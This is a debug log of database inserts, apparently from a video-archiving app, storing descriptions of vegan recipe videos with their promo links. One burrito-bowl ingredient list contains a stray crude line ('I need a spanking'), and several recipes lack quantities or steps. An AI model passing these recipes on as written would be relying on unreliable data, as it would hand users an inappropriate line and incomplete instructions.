[~U[2024-06-26 00:00:00Z], 1] 20:31:07.419 [debug] QUERY OK source="media_items" db=2.1ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you how to make the BEST vegan gluten free pie crust! It's buttery, flakey, tender and crisp, perfect for all your summer baking needs! Refined sugar-free and soy free.\n\nLooking for more sweet treat inspiration? Watch this playlist next ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nRECIPE\n\nThe BEST Vegan Gluten Free Pie Crust\n1 ¼ cup almond flour\n¾ cup brown rice flour\n2 tbsp coconut sugar\n2 flax 'eggs' (2 tbsp ground flax seeds + 6 tbsp water, let sit for 10 mins)\n½ tsp baking powder\n¾ tsp sea salt\n3 tbsp avocado or grapeseed oil\n2 tbsp agave nectar\n\n1. To a large mixing bowl add the brown rice flour, almond flour, coconut sugar, baking powder and salt, and whisk until the mixture is well combined with no lumps.\n2. Then add the agave nectar and grapeseed or avocado oil to the bowl and mix well with a spatula until the mixture has become crumbly like sand.\n3. Add the flax eggs to the mixture and continue mixing until it starts holding shape and forming a dough. At this point you can take over with your hands and knead the dough until it comes together into a ball form. Gluten-free dough needs to be worked much more than regular dough to help it stay together better. Wrap the dough in cling-wrap and let chill in the fridge for 1 hour. \n4. Place the chilled dough in between two layers of parchment paper and begin to gently press into it with your hands before starting to roll it out with a rolling pin. Roll the dough into a roughly 9” circle that’s about 1/4” in thickness. Peel back the top layer of parchment paper and carefully slide a thin cutting mat underneath the bottom layer (if you have one). Place your pie plate on top of the dough upside-down and carefully flip the crust over into the pan (that cutting mat is handy for this reason). \n6. Carefully press the dough into the pie plate using both hands, ensuring that it forms nicely into the bottom and sides of the plate. Trim off any overhanging dough with a sharp small knife, and from there pop it in your freezer for 30 minutes to chill, or keep it in the freezer until you're ready to use it.\n7. Once your pie crust has chilled, poke a few holes in the base with a fork and pre-bake in your oven on the middle rack at 350ºF for 20-25 minutes, until golden. Then proceed with your desired pie recipe and add filling as desired, and bake. \nTIP: If you are adding a top layer of crust, take your second sheet of dough and carefully place it over the pie. I find draping it over a rolling pin makes it a little easier to do, plus it reduces the risk of it cracking or ripping. Trim off any excess dough around the edges and with a fork, simple press the edges into the bottom crust, and with a sharp knife make a few slits in the top to allow steam to escape while baking.\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Gluten Free Pie Crust That's BETTER Than Store Bought", "773a3552-2d41-4447-9fb1-004fe9625fab", 1, [], false, "6EBdH8rm9_4", "https://www.youtube.com/watch?v=6EBdH8rm9_4", 183, "/downloads/downloads/alec/Steamy Vegan/2024-06-26 Vegan Gluten Free Pie Crust That's BETTER Than Store Bought/Vegan Gluten Free Pie Crust That's BETTER Than Store Bought [6EBdH8rm9_4].NA", false, false, false, 1, ~U[2024-06-26 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let me show you how to make the BEST vegan gluten free pie crust! It's buttery, flakey, tender and crisp, perfect for all your summer baking needs! Refined sugar-free and soy free.\n\nLooking for more sweet treat inspiration? Watch this playlist next ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nRECIPE\n\nThe BEST Vegan Gluten Free Pie Crust\n1 ¼ cup almond flour\n¾ cup brown rice flour\n2 tbsp coconut sugar\n2 flax 'eggs' (2 tbsp ground flax seeds + 6 tbsp water, let sit for 10 mins)\n½ tsp baking powder\n¾ tsp sea salt\n3 tbsp avocado or grapeseed oil\n2 tbsp agave nectar\n\n1. To a large mixing bowl add the brown rice flour, almond flour, coconut sugar, baking powder and salt, and whisk until the mixture is well combined with no lumps.\n2. Then add the agave nectar and grapeseed or avocado oil to the bowl and mix well with a spatula until the mixture has become crumbly like sand.\n3. Add the flax eggs to the mixture and continue mixing until it starts holding shape and forming a dough. At this point you can take over with your hands and knead the dough until it comes together into a ball form. Gluten-free dough needs to be worked much more than regular dough to help it stay together better. Wrap the dough in cling-wrap and let chill in the fridge for 1 hour. \n4. Place the chilled dough in between two layers of parchment paper and begin to gently press into it with your hands before starting to roll it out with a rolling pin. Roll the dough into a roughly 9” circle that’s about 1/4” in thickness. Peel back the top layer of parchment paper and carefully slide a thin cutting mat underneath the bottom layer (if you have one). Place your pie plate on top of the dough upside-down and carefully flip the crust over into the pan (that cutting mat is handy for this reason). \n6. Carefully press the dough into the pie plate using both hands, ensuring that it forms nicely into the bottom and sides of the plate. Trim off any overhanging dough with a sharp small knife, and from there pop it in your freezer for 30 minutes to chill, or keep it in the freezer until you're ready to use it.\n7. Once your pie crust has chilled, poke a few holes in the base with a fork and pre-bake in your oven on the middle rack at 350ºF for 20-25 minutes, until golden. Then proceed with your desired pie recipe and add filling as desired, and bake. \nTIP: If you are adding a top layer of crust, take your second sheet of dough and carefully place it over the pie. I find draping it over a rolling pin makes it a little easier to do, plus it reduces the risk of it cracking or ripping. Trim off any excess dough around the edges and with a fork, simple press the edges into the bottom crust, and with a sharp knife make a few slits in the top to allow steam to escape while baking.\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDL (truncated) 20:31:07.420 [debug] QUERY OK source="sources" db=1.0ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.424 [debug] QUERY OK source="media_items" db=3.2ms idle=9.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-23 00:00:00Z], 1] 20:31:07.427 [debug] QUERY OK source="media_items" db=2.4ms idle=11.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make my favorite vegan burrito bowl recipe with tofu chips! It's a mouth-watering high protein vegan meal. Spicy, hearty, wholesome and downright delicious.\n\n\nLooking for more healthy, high protein meal inspiration? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\n*Smokey Fajita Bowl – Serves 4, 505 cal, 35g protein, 71g carbs, 13g fat*\n cups brown short grain rice\n4 cups hot veggie broth\n\nSMOKED FAVA BEAN TOFU CHIPS\n1 block smoked fava bean tofu\nSpritz of oil \n½ tbsp soy sauce\n½ tsp onion powder\nI need a spanking\nAR FRIED FAJITA VEGGIES\n2 large bell peppers\n2 small or 1 medium onion\n2 small zucchinis\n1 tbsp fajita spice blend\n\nSALSA BEANS\n2 cans black beans\n1 cup salsa\n\nSTEAMY SAUCE\n¼ cup Tahini\n¼ cup pickled jalapeno brine\n½ tbsp Dijon mustard\n1 tbsp maple syrup\n1 large garlic clove, minced\n1 chipotle pepper in adobo \nSalt and pepper\n¼ cup Water\n\n\n1. Start by cooking the rice in the veggie broth until fluffy and all the liquid has absorbed, about 25 to 30 minutes.\n2. Meanwhile, preheat your air fryer or conventional oven to 425F, and toss your fajita veggies in a mixing bowl with a dash of oil and the fajita spices. Transfer to an air fryer basket or lined baking tray. \n3. Next, slice your tofu into even triangles, spritz with oil and onion powder give them a toss. Transfer to a separate air fryer basket or baking tray. Air fry both the veggies and tofu ‘chips’ for 20 to 22 minutes (bake in oven 25 to 28 mins), until the veg and tofu are golden and slightly crisp at the edges. The veg might cook faster so check on it at the 18 minute mark.\n4. While everything is cooking, add all sauce ingredients to a blender and whiz on high speed until smooth, then set aside.\n5. Lastly, toss the black beans and salsa together in a small saucepan and heat through over medium heat for about 6 minutes.\n6. Assemble your bowl: Add a base layer of brown rice into your bowl, followed by some fajita veggies, tofu chips, salsa beans and a drizzle of steamy sauce. Top with avocado and/or sour cream and enjoy!\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Burrito Bowl Recipe with Tofu Chips! High Protein Vegan Meals", "651f6432-ed8d-41ba-a365-185dfcd2b17c", 1, [], false, "vMDm6AkBqVs", "https://www.youtube.com/watch?v=vMDm6AkBqVs", 184, "/downloads/downloads/alec/Steamy Vegan/2024-06-23 Vegan Burrito Bowl Recipe with Tofu Chips! High Protein Vegan Meals/Vegan Burrito Bowl Recipe with Tofu Chips! High Protein Vegan Meals [vMDm6AkBqVs].NA", false, false, false, 1, ~U[2024-06-23 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make my favorite vegan burrito bowl recipe with tofu chips! It's a mouth-watering high protein vegan meal. Spicy, hearty, wholesome and downright delicious.\n\n\nLooking for more healthy, high protein meal inspiration? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n\n*Smokey Fajita Bowl – Serves 4, 505 cal, 35g protein, 71g carbs, 13g fat*\n cups brown short grain rice\n4 cups hot veggie broth\n\nSMOKED FAVA BEAN TOFU CHIPS\n1 block smoked fava bean tofu\nSpritz of oil \n½ tbsp soy sauce\n½ tsp onion powder\nI need a spanking\nAR FRIED FAJITA VEGGIES\n2 large bell peppers\n2 small or 1 medium onion\n2 small zucchinis\n1 tbsp fajita spice blend\n\nSALSA BEANS\n2 cans black beans\n1 cup salsa\n\nSTEAMY SAUCE\n¼ cup Tahini\n¼ cup pickled jalapeno brine\n½ tbsp Dijon mustard\n1 tbsp maple syrup\n1 large garlic clove, minced\n1 chipotle pepper in adobo \nSalt and pepper\n¼ cup Water\n\n\n1. Start by cooking the rice in the veggie broth until fluffy and all the liquid has absorbed, about 25 to 30 minutes.\n2. Meanwhile, preheat your air fryer or conventional oven to 425F, and toss your fajita veggies in a mixing bowl with a dash of oil and the fajita spices. Transfer to an air fryer basket or lined baking tray. \n3. Next, slice your tofu into even triangles, spritz with oil and onion powder give them a toss. Transfer to a separate air fryer basket or baking tray. Air fry both the veggies and tofu ‘chips’ for 20 to 22 minutes (bake in oven 25 to 28 mins), until the veg and tofu are golden and slightly crisp at the edges. The veg might cook faster so check on it at the 18 minute mark.\n4. While everything is cooking, add all sauce ingredients to a blender and whiz on high speed until smooth, then set aside.\n5. Lastly, toss the black beans and salsa together in a small saucepan and heat through over medium heat for about 6 minutes.\n6. Assemble your bowl: Add a base layer of brown rice into your bowl, followed by some fajita veggies, tofu chips, salsa beans and a drizzle of steamy sauce. Top with avocado and/or sour cream and enjoy!\n\n\nPROMO CODES & LINKS\n\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Burrito Bowl Recipe with Tofu Chips! High Protein Vegan Meals", 1, nil, false, "vMDm6AkBqVs", "https://www.youtube.com (truncated) 20:31:07.429 [debug] QUERY OK source="sources" db=1.5ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.432 [debug] QUERY OK source="media_items" db=2.7ms idle=10.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-20 00:00:00Z], 1] 20:31:07.436 [debug] QUERY OK source="media_items" db=2.6ms idle=13.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make a high protein dinner, my MEAN GREEN BEAN BOWL! It's one of my new fave high protein vegan meals. Filling, nutritious, full of veggies, packed with fibre and is DELISH!\n\nLooking for more healthy, high protein meal inspiration? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPE:\n\n*Mean Green Bean Bowl – Serves 3, 585 Calories, 35g protein, 77g carbs, 18g fat*\nSesame oil garlic ginger ramen noodles\n½ tbsp sesame oil\n1 tbsp minced ginger \n2 green onions, whites and greens separated\n8 oz brown rice ramen noodles, dry\nSoy, miso green pea sauce:\n2 cups frozen green peas\n2 tbsp tahini\n2 tbsp soy sauce\n1 tbsp ACV\n1 miso paste\n2 cups veggie broth\n2 tbsp nooch\nAir fried sesame oil edamame beans\n2 cups frozen edamame\n1 tsp sesame oil\nSalt and pepper to taste\nBok choy (air fried)\n4 to 6 baby bok choys\n1 tbsp sesame seeds\n1 tsp sesame oil\n½ tsp garlic powder\nPinch of salt\nFurikake seasoning\n\n1. Preheat oven to 425F or air fryer to 400F.\n2. Get a medium deep saute pan of water boiling for the ramen noodles. While the water comes to boil, mince your ginger, garlic and green onion, and wash and slice your bok choy.\n3. Once your water is boiling, add the ramen noodles and cook according to package directions. \n4. While the ramen cooks combine the frozen edamame, sesame oil and salt and pepper in a mixing bowl. Transfer to an air fryer basket or parchment lined baking tray. Air fry for 15 to 17 minutes (or bake in oven for 22 to 24 mins) or until the edamame is golden brown and slightly crackly looking.\n5. In the same bowl as the edamame, toss the halved and dried baby bok choys with the sesame seeds, sesame oil, garlic powder and salt. Transfer to another air fryer basket/tray or baking tray. Air fryer for 7 to 8 minutes until golden and crispy.\n6. the edamame and bok choy cook, drain the noodles and set aside. In the same pan, heat ½ tbsp sesame oil over medium heat and cook the minced ginger and white parts of the green onion for 2 minutes until turning golden and fragrant. Add the noodles back to the pan and cook, tossing frequently until turning golden and getting slightly crispy, about 5 to 7 minutes.\n7. While the noodles cook, add all sauce ingredients to a blender and whiz on high speed until smooth. Pour the sauce over the noodles, and heat through a few minutes.\n8. Assemble your bowl: Add a base of the saucy noodles, then top with air fried edamame and bok choy, carrot ribbons and a sprinkle of furikake seasoning.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "High Protein Vegan Meals 💪🏼 MEAN GREEN BEAN BOWL 🌱", "a61e1dec-f3fc-4985-830c-710ad5d3d947", 1, [], false, "WIIV7Gz-JOI", "https://www.youtube.com/watch?v=WIIV7Gz-JOI", 185, "/downloads/downloads/alec/Steamy Vegan/2024-06-20 High Protein Vegan Meals 💪🏼 MEAN GREEN BEAN BOWL 🌱/High Protein Vegan Meals 💪🏼 MEAN GREEN BEAN BOWL 🌱 [WIIV7Gz-JOI].NA", false, false, false, 1, ~U[2024-06-20 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "Let's make a high protein dinner, my MEAN GREEN BEAN BOWL! It's one of my new fave high protein vegan meals. Filling, nutritious, full of veggies, packed with fibre and is DELISH!\n\nLooking for more healthy, high protein meal inspiration? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nRECIPE:\n\n*Mean Green Bean Bowl – Serves 3, 585 Calories, 35g protein, 77g carbs, 18g fat*\nSesame oil garlic ginger ramen noodles\n½ tbsp sesame oil\n1 tbsp minced ginger \n2 green onions, whites and greens separated\n8 oz brown rice ramen noodles, dry\nSoy, miso green pea sauce:\n2 cups frozen green peas\n2 tbsp tahini\n2 tbsp soy sauce\n1 tbsp ACV\n1 miso paste\n2 cups veggie broth\n2 tbsp nooch\nAir fried sesame oil edamame beans\n2 cups frozen edamame\n1 tsp sesame oil\nSalt and pepper to taste\nBok choy (air fried)\n4 to 6 baby bok choys\n1 tbsp sesame seeds\n1 tsp sesame oil\n½ tsp garlic powder\nPinch of salt\nFurikake seasoning\n\n1. Preheat oven to 425F or air fryer to 400F.\n2. Get a medium deep saute pan of water boiling for the ramen noodles. While the water comes to boil, mince your ginger, garlic and green onion, and wash and slice your bok choy.\n3. Once your water is boiling, add the ramen noodles and cook according to package directions. \n4. While the ramen cooks combine the frozen edamame, sesame oil and salt and pepper in a mixing bowl. Transfer to an air fryer basket or parchment lined baking tray. Air fry for 15 to 17 minutes (or bake in oven for 22 to 24 mins) or until the edamame is golden brown and slightly crackly looking.\n5. In the same bowl as the edamame, toss the halved and dried baby bok choys with the sesame seeds, sesame oil, garlic powder and salt. Transfer to another air fryer basket/tray or baking tray. Air fryer for 7 to 8 minutes until golden and crispy.\n6. the edamame and bok choy cook, drain the noodles and set aside. In the same pan, heat ½ tbsp sesame oil over medium heat and cook the minced ginger and white parts of the green onion for 2 minutes until turning golden and fragrant. Add the noodles back to the pan and cook, tossing frequently until turning golden and getting slightly crispy, about 5 to 7 minutes.\n7. While the noodles cook, add all sauce ingredients to a blender and whiz on high speed until smooth. Pour the sauce over the noodles, and heat through a few minutes.\n8. Assemble your bowl: Add a base of the saucy noodles, then top with air fried edamame and bok choy, carrot ribbons and a sprinkle of furikake seasoning.\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Wo (truncated) 20:31:07.438 [debug] QUERY OK source="sources" db=0.9ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.440 [debug] QUERY OK source="media_items" db=2.1ms idle=10.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-15 00:00:00Z], 1] 20:31:07.442 [debug] QUERY OK source="media_items" db=1.4ms idle=11.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let's make PROTEIN ICE CREAM! Vegan, whole food plant based and gluten-free ice cream. Each recipe has a healthy SECRET INGREDIENT 🤫 \n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANK30\n\nLooking for more healthy desserts? Watch this playlist! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nRECIPES ⬇️\n1. Blend all ingredients in a high speed blender and enjoy right away as soft serve OR\n2. Transfer to rectangular container and freeze for 2 to 2½ hours, stirring every 25 minutes until your preferred texture is achieved\n3. Add ice to your recipes to get a more frozen texture if you want to eat the ice cream right away\n\nChocolate Protein Ice Cream (Serving size approx 1 cup, Serves 3 — 265 Calories, 22g protein, 30g carbs, 8g fat)\n1 cup soy milk\n1 small baked sweet potato, mashed and frozen into cubes\n¾ cup greek-style plant based yogurt, frozen into ice cubes\n2 scoops plant-based chocolate protein powder (\u202A@goodprotein6261\u202C Chocolate)\n2 tbsp cocoa powder\n2 tbsp fat free sugar free chocolate pudding mix\n1 tsp vanilla\n1 cup ice (optional)\nPlant milk or water as needed to blend\n\nVanilla Matcha Protein Ice Cream (Serving size approx 1 cup, Serves 3 — 270 Calories, 20g protein, 21g carbs, 12g fat)\n1 cup soy milk\n½ a large avocado, frozen\n½ cup Silk greek-style protein yogurt, frozen into ice cubes\n2 scoops vanilla protein powder (\u202A@goodprotein6261\u202C Vanilla Chai)\n2 tbsp matcha powder\n1½ tbsp fat free/sugar free vanilla jello mix\n1 cup ice (optional)\nPlant milk or water as needed to blend\n\nStrawberry Protein Ice Cream (Serving size approx. 1⅓ cup, Serves 3, 322 Calories, 17g protein, 53g carbs, 26g sugar, 7g fat)\n10 oz frozen strawberries (about 1½ cups)\n1 cup soy milk, frozen into cubes\n1⅔ cup canned white beans\n1¼ cup greek-style vanilla plant based yogurt, frozen into cubes\n1½ tbsp fat/sugar free vanilla jello pudding mix\n2 tbsp maple syrup\n2 tsp vanilla extract\n1 cup ice (optional)\nPlant milk or water as needed to blend\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Protein Ice Cream 3 Ways! Whole Food 